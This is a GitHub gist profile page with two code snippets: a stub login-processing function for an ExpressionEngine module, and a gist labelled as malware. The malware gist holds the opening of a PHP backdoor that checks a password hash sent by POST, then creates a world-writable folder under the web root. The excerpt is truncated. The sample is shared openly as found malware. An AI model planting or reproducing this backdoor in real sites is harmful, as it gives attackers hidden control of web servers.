Skip to content

Instantly share code, notes, and snippets.

View dreadfullyposh's full-sized avatar

Jeremy Gimbel dreadfullyposh

View GitHub Profile
@dreadfullyposh
dreadfullyposh / gist:5536957
Last active December 17, 2015 02:38
Login module code
/*
* So, basically you'd set this type of function up as an action ID in an EE module
*
*/
function process_login(){
// Some sort of verfication would happen here, either session variables or an encrypted key, etc. something to
// prove that the request is valid.
if(!(some validation scheme) && (also validate that you have a member id to login))
@dreadfullyposh
dreadfullyposh / gist:5043563
Created February 27, 2013 00:01
Ermagherd malware!
<?
$dir = $_SERVER['DOCUMENT_ROOT']."/cms/cache/htm_cache/"; //папка для кэша
if (isset($_POST['chdor']) && md5($_POST['psw'])=='2e611859c8dc0f9d94fbf62e0d6aaf2b')
{
if (!is_dir($dir))
{
$res = mkdir($dir);
if ($res===false) {exit('333');}
@chmod($dir,0777);
}